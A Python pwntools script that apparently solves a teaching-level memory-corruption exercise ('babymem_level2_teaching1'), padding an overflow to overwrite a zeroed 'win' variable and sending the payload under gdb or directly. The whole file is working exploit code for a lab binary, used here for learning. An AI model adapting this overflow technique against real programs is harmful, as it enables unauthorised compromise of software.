#!/usr/bin/env python
import pwn
import subprocess
import sys
# this binary calls malloc() 8 times (see vuln+259)
# after calling calloc() it writes its adress to rax (vuln+292)
# 0x55bd462c5bb0, in my example when I try to print that address
# it has 0x0 in it. we have to overwrite this with 0x1 or
# something else
# overwritten with daaf, i found with pwn.cyclic and pwn.cyclic_find

pwn.context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
FILENAME = "./babymem_level2_teaching1"


def create_payload(options: list(), payload: list()):
    f = open("payload", "wb")
    for option in options:
        f.write(bytes(option, encoding="utf-8") + b"\n")
    f.write(payload + b"\n")


def prepare_payload(offset: int, size_of_junk: int, junk_byte):
    print("-"*24)
    print(offset)
    print(size_of_junk)
    print("-"*24)
    payload = b""
    payload += junk_byte * offset
    payload += b"\x65\x65\x65"
    payload += junk_byte * (size_of_junk - offset)
    print(payload)
    print(len(payload))
    return payload


def alive_or_dead():
    answer = input("[FINISHED] END? [y/n]")
    is_gnome_terminal_exist = None
    if "y" in answer:
        is_gnome_terminal_exist = subprocess.run(
            ["pgrep", "gnome-terminal"], capture_output=True).stdout
        if is_gnome_terminal_exist:
            is_gnome_terminal_exist = str(is_gnome_terminal_exist.decode("utf-8"))
            is_gnome_terminal_exist = is_gnome_terminal_exist.split("\n")
            for process in is_gnome_terminal_exist:
                subprocess.run(["kill", process])
        sys.exit(0)
    else:
        input("[RUNNING] y/n/r/p")


def debug_session():
    # r = pwn.process(FILENAME)
    ssize = 400
    DEBUG_START = """
break vuln
continue
"""
    r = pwn.gdb.debug(FILENAME, DEBUG_START)
    read_ssize = 100000
    binary_itself = pwn.ELF(FILENAME)
    options = ["400"]
    offset = pwn.cyclic_find("faad")
    payload = prepare_payload(offset, ssize, b"\x00")
    #payload = pwn.cyclic(ssize)
    output = r.read(read_ssize)
    print(output.decode("utf-8"))

    r.send("400" + "\n")

    output = r.read(read_ssize)
    print(output.decode("utf-8"))

    r.send(payload + b"\n")

    output = r.read(read_ssize)
    print(output.decode("utf-8"))
    # print("-" * 24 + "| WIN VARIABLE IS AT index " + str(hex()))

    create_payload(options, payload)


def process_session():
    r = pwn.process(FILENAME)
    ssize = 400
    read_ssize = 100000
    binary_itself = pwn.ELF(FILENAME)
    options = ["400"]
    offset = pwn.cyclic_find("faad")
    payload = prepare_payload(offset, ssize, b"\x00")
    #payload = pwn.cyclic(ssize)
    output = r.read(read_ssize)
    print(output.decode("utf-8"))

    r.send("400" + "\n")

    output = r.read(read_ssize)
    print(output.decode("utf-8"))

    r.send(payload + b"\n")

    output = r.read(read_ssize)
    print(output.decode("utf-8"))
    # print("-" * 24 + "| WIN VARIABLE IS AT index " + str(hex()))

    create_payload(options, payload)


def main():
    debug_session()


if __name__ == "__main__":
    main()
    while True:
        alive_or_dead()